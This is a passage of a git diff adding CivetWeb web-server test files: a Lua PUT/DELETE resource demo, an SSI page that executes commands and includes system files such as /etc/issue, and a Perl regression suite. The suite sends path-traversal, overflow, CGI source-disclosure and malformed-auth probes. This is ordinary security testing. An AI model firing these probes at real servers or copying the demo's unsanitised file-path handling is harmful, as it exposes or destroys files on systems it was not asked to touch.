LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_PUBLIC_SERVER_H_ +#define TEST_PUBLIC_SERVER_H_ + +#include "civetweb_check.h" + +Suite *make_public_server_suite(void); + +#endif /* TEST_PUBLIC_H_ */ diff --git a/src/civetweb/test/require_test.lua b/src/civetweb/test/require_test.lua new file mode 100644 index 000000000..6173dfa06 --- /dev/null +++ b/src/civetweb/test/require_test.lua @@ -0,0 +1,2 @@ +require 'html_esc'
+require 'HugeText'
diff --git a/src/civetweb/test/resource_script_demo.lua b/src/civetweb/test/resource_script_demo.lua new file mode 100644 index 000000000..e21e4654c --- /dev/null +++ b/src/civetweb/test/resource_script_demo.lua @@ -0,0 +1,124 @@ +-- This is a Lua script that handles sub-resources, e.g. resource_script_demo.lua/path/file.ext
+
+scriptUri = "resource_script_demo.lua"
+envVar = "resource_script_demo_storage"
+
+resourcedir = os.getenv(envVar) or "R:\\RESOURCEDIR"
+method = mg.request_info.request_method:upper()
+
+if resourcedir then
+ attr = lfs.attributes(resourcedir)
+end
+
+if (not mg.request_info.uri:find(scriptUri)) or (not resourcedir) or (not attr) or (attr.mode~="directory") then
+ mg.write("HTTP/1.0 500 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>\r\nServer error.<br>\r\n")
+ mg.write("The server admin must make sure this script is available as URI " .. scriptUri .. "<br>\r\n")
+ mg.write("The server admin must set the environment variable " .. envVar .. " to a directory.<br>\r\n")
+ mg.write("</body>\r\n</html>\r\n")
+ return
+end
+subresource = mg.request_info.uri:match(scriptUri .. "/(.*)")
+
+if not subresource then
+ if method=="GET" then
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>No resource specified.<br>resourcedir is " .. resourcedir .. "</body></html>\r\n")
+ else
+ mg.write("HTTP/1.0 405 Method Not Allowed\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Method not allowed.</body></html>\r\n")
+ end
+ return
+end
+
+
+if method=="GET" then
+ file = resourcedir .. "/" .. subresource
+ if lfs.attributes(file) then
+ mg.send_file(file)
+ else
+ mime = mg.get_mime_type(file)
+ mg.write("HTTP/1.0 404 Not Found\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Resource of type \"" .. mime .. "\" not found.</body></html>\r\n")
+ end
+ return
+end
+
+if method=="PUT" then
+ file = resourcedir .. "/" .. subresource
+ mime = mg.get_mime_type(file)
+ if lfs.attributes(file) then
+ mg.write("HTTP/1.0 405 Method Not Allowed\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Resource of type \"" .. mime .. "\" already exists.</body></html>\r\n")
+ else
+ local f = io.open(file, "w")
+
+ local data = {}
+ repeat
+ local l = mg.read();
+ data[#data+1] = l;
+ until ((l == "") or (l == nil));
+
+ f:write(table.concat(data, ""))
+ f:close()
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Resource of type \"" .. mime .. "\" created.</body></html>\r\n")
+ end
+ return
+end
+
+if method=="DELETE" then
+ file = resourcedir .. "/" .. subresource
+ mime = mg.get_mime_type(file)
+ if lfs.attributes(file) then
+ os.remove(file)
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Resource of type \"" .. mime .. "\" deleted.</body></html>\r\n")
+ else
+ mime = mg.get_mime_type(file)
+ mg.write("HTTP/1.0 404 Not Found\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+ mg.write("<body>Resource of type \"" .. mime .. "\" not found.</body></html>\r\n")
+ end
+ return
+end
+
+-- Any other method
+mg.write("HTTP/1.0 405 Method Not Allowed\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Type: text/html; charset=utf-8\r\n")
+mg.write("\r\n")
+mg.write("<html><head><title>Civetweb Lua script resource handling test</title></head>\r\n")
+mg.write("<body>Method not allowed.</body></html>\r\n")
+
diff --git a/src/civetweb/test/shared.c b/src/civetweb/test/shared.c new file mode 100644 index 000000000..a35a8637e --- /dev/null +++ b/src/civetweb/test/shared.c @@ -0,0 +1,48 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#ifdef _MSC_VER +#if !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif +#if !defined(_CRT_SECURE_NO_DEPRECATE) +#define _CRT_SECURE_NO_DEPRECATE +#endif +#endif + +#include "shared.h" +#include <string.h> + +static char s_test_directory[1024] = {'\0'}; + +const char * +get_test_directory(void) +{ + return s_test_directory; +} + +void +set_test_directory(const char *const path) +{ + strncpy(s_test_directory, + path, + sizeof(s_test_directory) / sizeof(s_test_directory[0])); +} diff --git a/src/civetweb/test/shared.h b/src/civetweb/test/shared.h new file mode 100644 index 000000000..937fcff65 --- /dev/null +++ b/src/civetweb/test/shared.h @@ -0,0 +1,27 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TEST_SHARED_H_ +#define TEST_SHARED_H_ + +const char *get_test_directory(void); +void set_test_directory(const char *const path); + +#endif /* TEST_SHARED_H_ */ diff --git a/src/civetweb/test/ssi_test.shtml b/src/civetweb/test/ssi_test.shtml new file mode 100644 index 000000000..eb03d171d --- /dev/null +++ b/src/civetweb/test/ssi_test.shtml @@ -0,0 +1,37 @@ +<!doctype html> +<html lang="en"> +<head> + <meta charset="utf-8"> + <title>The HTML5 Herald</title> + <meta name="author" content="CivetWeb developers"> + <meta name="description" content="CivetWeb Server Side Include (SSI) Test Page"> +</head> + +<body> + <h1>CivetWeb Server Side Include (SSI) Test Page</h1> + <p>Note: Some of the tests below will only work on Windows, others only on Linux, and some probably not on all Linux distributions and all Windows versions.</p> + + <h2>Execute: "cd"</h2> + <!--#exec "cd" --> + <h2>Execute: "pwd"</h2> + <!--#exec "pwd" --> + + <h2>File relative to current document: "hello.txt"</h2> + <!--#include file="hello.txt" --> + <h2>Short form: "hello.txt"</h2> + <!--#include "hello.txt" --> + + <h2>File relative to document root: "hello.txt"</h2> + <!--#include virtual="hello.txt" --> + + <h2>File with absolute path: "C:\Windows\system.ini"</h2> + <!--#include abspath="C:\Windows\system.ini" --> + <h2>File with absolute path: "/etc/issue"</h2> + <!--#include abspath="/etc/issue" --> + + <h2>Nested file relative to current documentt: "hello.shtml"</h2> + <!--#include file="./hello.shtml" --> + +</body> +</html> + diff --git a/src/civetweb/test/syntax_error.ssjs b/src/civetweb/test/syntax_error.ssjs new file mode 100644 index 000000000..d8619edd4 --- /dev/null +++ b/src/civetweb/test/syntax_error.ssjs @@ -0,0 +1,7 @@ +
+conn.write('HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n');
+
+conn.write('Syntax error:');
+
+asdf ghjk qwert 123456789 +-*/
+.!,;
diff --git a/src/civetweb/test/test.ico b/src/civetweb/test/test.ico Binary files differnew file mode 100644 index 000000000..70ab89d07 --- /dev/null +++ b/src/civetweb/test/test.ico diff --git a/src/civetweb/test/test.pl b/src/civetweb/test/test.pl new file mode 100755 index 000000000..e50348903 --- /dev/null +++ b/src/civetweb/test/test.pl @@ -0,0 +1,461 @@ +#!/usr/bin/env perl +# This script is used to test Civetweb web server + +use IO::Socket; +use File::Path; +use Cwd; +use strict; +use warnings; +#use diagnostics; + +sub on_windows { $^O =~ /win32/i; } + +my $port = 23456; +my $pid = undef; +my $num_requests; +my $dir_separator = on_windows() ? '\\' : '/'; +my $copy_cmd = on_windows() ? 'copy' : 'cp'; +my $test_dir_uri = "test_dir"; +my $root = 'test'; +my $test_dir = $root . $dir_separator. $test_dir_uri; +my $config = 'civetweb.conf'; +my $exe_ext = on_windows() ? '.exe' : ''; +my $civetweb_exe = '.' . $dir_separator . 'civetweb' . $exe_ext; +my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext; +my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext; +my $exit_code = 0; + +my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt", + "$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a", + "$root/myperl", $embed_exe, $unit_test_exe); + +END { + unlink @files_to_delete; + kill_spawned_child(); + File::Path::rmtree($test_dir); + exit $exit_code; +} + +sub fail { + print "FAILED: @_\n"; + $exit_code = 1; + exit 1; +} + +sub get_num_of_log_entries { + open FD, "access.log" or return 0; + my @lines = (<FD>); + close FD; + return scalar @lines; +} + +# Send the request to the 127.0.0.1:$port and return the reply +sub req { + my ($request, $inc, $timeout) = @_; + my $sock = IO::Socket::INET->new(Proto => 6, + PeerAddr => '127.0.0.1', PeerPort => $port); + fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock; + $sock->autoflush(1); + foreach my $byte (split //, $request) { + last unless print $sock $byte; + select undef, undef, undef, .001 if length($request) < 256; + } + my ($out, $buf) = ('', ''); + eval { + alarm $timeout if $timeout; + $out .= $buf while (sysread($sock, $buf, 1024) > 0); + alarm 0 if $timeout; + }; + close $sock; + + $num_requests += defined($inc) ? $inc : 1; + my $num_logs = get_num_of_log_entries(); + + unless ($num_requests == $num_logs) { + fail("Request has not been logged: [$request], output: [$out]"); + } + + return $out; +} + +# Send the request. Compare with the expected reply. Fail if no match +sub o { + my ($request, $expected_reply, $message, $num_logs) = @_; + print "==> $message ... "; + my $reply = req($request, $num_logs); + if ($reply =~ /$expected_reply/s) { + print "OK\n"; + } else { +#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]"); + fail("Expected: [$expected_reply], got: [$reply]"); + } +} + +# Spawn a server listening on specified port +sub spawn { + my ($cmdline) = @_; + print 'Executing: ', @_, "\n"; + if (on_windows()) { + my @args = split /\s+/, $cmdline; + my $executable = $args[0]; + Win32::Spawn($executable, $cmdline, $pid); + die "Cannot spawn @_: $!" unless $pid; + } else { + unless ($pid = fork()) { + exec $cmdline; + die "cannot exec [$cmdline]: $!\n"; + } + } + sleep 1; +} + +sub write_file { + open FD, ">$_[0]" or fail "Cannot open $_[0]: $!"; + binmode FD; + print FD $_[1]; + close FD; +} + +sub read_file { + open FD, $_[0] or fail "Cannot open $_[0]: $!"; + my @lines = <FD>; + close FD; + return join '', @lines; +} + +sub kill_spawned_child { + if (defined($pid)) { + kill(9, $pid); + waitpid($pid, 0); + } +} + +####################################################### ENTRY POINT + +unlink @files_to_delete; +$SIG{PIPE} = 'IGNORE'; +$SIG{ALRM} = sub { die "timeout\n" }; +#local $| =1; + +# Make sure we export only symbols that start with "mg_", and keep local +# symbols static. +if ($^O =~ /darwin|bsd|linux/) { + my $out = `(cc -c src/civetweb.c && nm src/civetweb.o) | grep ' T '`; + foreach (split /\n/, $out) { + /T\s+_?mg_.+/ or fail("Exported symbol $_") + } +} + +if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') { + do_unit_test(); + exit 0; +} + +# Make sure we load config file if no options are given. +# Command line options override config files settings +write_file($config, "access_log_file access.log\n" . + "listening_ports 127.0.0.1:12345\n"); +spawn("$civetweb_exe -listening_ports 127.0.0.1:$port"); +o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file'); +unlink $config; +kill_spawned_child(); + +# Spawn the server on port $port +my $cmd = "$civetweb_exe ". + "-listening_ports 127.0.0.1:$port ". + "-access_log_file access.log ". + "-error_log_file debug.log ". + "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " . + "-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " . + '-put_delete_auth_file test/passfile ' . + '-access_control_list -0.0.0.0/0,+127.0.0.1 ' . + "-document_root $root ". + "-hide_files_patterns **exploit.PL ". + "-enable_keep_alive yes ". + "-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir"; +$cmd .= ' -cgi_interpreter perl' if on_windows(); +spawn($cmd); + +o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n", + 'Content-Length: 15\s', 'Range past the file end'); + +o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n", + 'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close', + 'Request pipelining', 2); + +my $x = 'x=' . 'A' x (200 * 1024); +my $len = length($x); +o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x", + '^HTTP/1.1 200 OK', 'Long POST'); + +# Try to overflow: Send very long request +req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one + +o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file'); +o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n", + 'HTTP/1.1 200 OK', 'Negative content length'); +o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s', + 'GET regular file Content-Length'); +o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n", + 'HTTP/1.1 200 OK', 'URL-decoding'); + +# Break CGI reading after 1 second. We must get full output. +# Since CGI script does sleep, we sleep as well and increase request count +# manually. +my $slow_cgi_reply; +print "==> Slow CGI output ... "; +fail('Slow CGI output forward reply=', $slow_cgi_reply) unless + ($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s; +print "OK\n"; +sleep 3; +$num_requests++; + +# '+' in URI must not be URL-decoded to space +write_file("$root/a+.txt", ''); +o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI'); + +# Test HTTP version parsing +o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 500', 'Bad HTTP Version', 0); +o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 0); +o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 0); +o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 0); + +# File with leading single dot +o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1'); +o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2'); +o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3') + if on_windows(); +o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0); + +mkdir $test_dir unless -d $test_dir; +o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n", + 'HTTP/1.1 404', 'PATH_INFO loop problem'); +o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection'); +o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing'); +write_file("$test_dir/index.html", "tralala"); +o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution'); +o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name'); +o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases'); +o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file'); +mkdir $test_dir . $dir_separator . 'x'; +my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi'; +write_file($path, read_file($root . $dir_separator . 'env.cgi')); +chmod(0755, $path); +o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n", + 'index.cgi execution'); + +my $cwd = getcwd(); +o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", + "SCRIPT_FILENAME=$cwd/test/test_dir/x/index.cgi", 'SCRIPT_FILENAME'); +o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi", + 'Aliases SCRIPT_NAME'); +o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close', + 'No keep-alive'); + +$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi'; +system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl"); +write_file($path, "#!../../myperl\n" . + "print \"Content-Type: text/plain\\n\\nhi\";"); +chmod(0755, $path); +o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path'); +o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI'); + +my $mime_types = { + html => 'text/html', + htm => 'text/html', + txt => 'text/plain', + unknown_extension => 'text/plain', + js => 'application/x-javascript', + css => 'text/css', + jpg => 'image/jpeg', + c => 'text/plain', + 'tar.gz' => 'blah', + bar => 'foo/bar', + baz => 'foo', +}; + +foreach my $key (keys %$mime_types) { + my $filename = "_mime_file_test.$key"; + write_file("$root/$filename", ''); + o("GET /$filename HTTP/1.0\n\n", + "Content-Type: $mime_types->{$key}", ".$key mime type"); + unlink "$root/$filename"; +} + +# Get binary file and check the integrity +my $binary_file = 'binary_file'; +my $f2 = ''; +foreach (0..123456) { $f2 .= chr(int(rand() * 255)); } +write_file("$root/$binary_file", $f2); +my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n"); +while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// } +$f1 eq $f2 or fail("Integrity check for downloaded binary file"); + +my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n". +"Range: bytes=3-5\r\n\r\n"; +o($range_request, '206 Partial Content', 'Range: 206 status code'); +o($range_request, 'Content-Length: 3\s', 'Range: Content-Length'); +o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range'); +o($range_request, '\nple$', 'Range: body content'); + +# Test directory sorting. Sleep between file creation for 1.1 seconds, +# to make sure modification time are different. +mkdir "$test_dir/sort"; +write_file("$test_dir/sort/11", 'xx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/aa", 'xxxx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/bb", 'xxx'); +select undef, undef, undef, 1.1; +write_file("$test_dir/sort/22", 'x'); + +o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n", + '200 OK.+>11<.+>22<.+>aa<.+>bb<', + 'Directory listing (name, ascending)'); +o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n", + '200 OK.+>bb<.+>aa<.+>22<.+>11<', + 'Directory listing (name, descending)'); +o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n", + '200 OK.+>22<.+>11<.+>bb<.+>aa<', + 'Directory listing (size, ascending)'); +o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n", + '200 OK.+>aa<.+>bb<.+>11<.+>22<', + 'Directory listing (size, descending)'); +o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n", + '200 OK.+>11<.+>aa<.+>bb<.+>22<', + 'Directory listing (modification time, ascending)'); +o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n", + '200 OK.+>22<.+>bb<.+>aa<.+>11<', + 'Directory listing (modification time, descending)'); + +unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") { + # Check that .htpasswd file existence trigger authorization + write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f'); + o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized', + '.htpasswd - triggering auth on file request'); + o("GET / HTTP/1.1\n\n", '401 Unauthorized', + '.htpasswd - triggering auth on directory request'); + + # Test various funky things in an authentication header. + o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n", + '401 Unauthorized', 'weird auth values should not cause crashes'); + my $auth_header = "Digest username=\"user with space, \\\" and comma\", ". + "realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",". + "response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\""; + o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth'); + o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$', + '.htpasswd is hidden from the directory list'); + o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$', + 'hidden file is hidden from the directory list'); + o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n", + '^HTTP/1.1 404 ', '.htpasswd must not be shown'); + o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n", + '^HTTP/1.1 404', 'hidden files must not be shown'); + unlink "$root/.htpasswd"; + + + o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n", + 'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path'); + o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file'); + o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r", + 'CGI Status code text'); + o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI', + 'GET sh CGI file') unless on_windows(); + o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO', + 'QUERY_STRING wrong'); + o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", + 'var=HELLO', 'CGI POST wrong'); + o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO", + '\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI'); + o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n", + 'HTTP_MY_HDR=abc', 'HTTP_* env'); + o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE", + 'HTTP/1.1 200 OK', 'GET CGI with trailing data'); + + o("GET /env.cgi%20 HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)'); + o("GET /env.cgi%ff HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)'); + o("GET /env.cgi%2e HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)'); + o("GET /env.cgi%2b HTTP/1.0\n\r\n", + 'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2'); + o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3'); + o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO'); + o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO'); + + # Check that CGI's current directory is set to script's directory + my $copy_cmd = on_windows() ? 'copy' : 'cp'; + system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" . + $dir_separator . 'env.cgi'); + o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n", + "CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()"); + + # SSI tests + o("GET /ssi1.shtml HTTP/1.0\n\n", + 'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file='); + o("GET /ssi2.shtml HTTP/1.0\n\n", + 'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual='); + my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml'; + o("GET /$ssi_exec HTTP/1.0\n\n", + 'ssi_begin.+Makefile.+ssi_end', 'SSI #exec'); + my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml'; + my $word = on_windows() ? 'boot loader' : 'root'; + o("GET /$abs_path HTTP/1.0\n\n", + "ssi_begin.+$word.+ssi_end", 'SSI #include abspath'); + o("GET /ssi7.shtml HTTP/1.0\n\n", + 'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."'); + o("GET /ssi8.shtml HTTP/1.0\n\n", + 'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes'); + + # Manipulate the passwords file + my $path = 'test_htpasswd'; + unlink $path; + system("$civetweb_exe -A $path a b c") == 0 + or fail("Cannot add user in a passwd file"); + system("$civetweb_exe -A $path a b c2") == 0 + or fail("Cannot edit user in a passwd file"); + my $content = read_file($path); + $content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file"); + unlink $path; + + do_PUT_test(); + kill_spawned_child(); + do_unit_test(); +} + +sub do_PUT_test { + # This only works because civetweb currently doesn't look at the nonce. + # It should really be rejected... + my $auth_header = "Authorization: Digest username=guest, ". + "realm=mydomain.com, nonce=1145872809, uri=/put.txt, ". + "response=896327350763836180c61d87578037d9, qop=auth, ". + "nc=00000002, cnonce=53eddd3be4e26a98\n"; + + o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567", + "HTTP/1.1 201 OK", 'PUT file, status 201'); + fail("PUT content mismatch") + unless read_file("$root/a/put.txt") eq '1234567'; + o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd", + "HTTP/1.1 200 OK", 'PUT file, status 200'); + fail("PUT content mismatch") + unless read_file("$root/a/put.txt") eq 'abcd'; + o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd", + "HTTP/1.1 411 Length Required", 'PUT 411 error'); + o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n". + "$auth_header\nabcd", + "HTTP/1.1 417 Expectation Failed", 'PUT 417 error'); + o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n". + "$auth_header\nabcd", + "HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue'); +} + +sub do_unit_test { + my $target = on_windows() ? 'wi' : 'un'; + system("make $target") == 0 or fail("Unit test failed!"); +} + +print "SUCCESS! All tests passed.\n"; diff --git a/src/civetweb/test/testclient.c b/src/civetweb/test/testclient.c new file mode 100644 index 000000000..5cc2edb3f --- /dev/null +++ b/src/civetweb/test/testclient.c @@ -0,0 +1,151 @@ +#include <stdio.h> 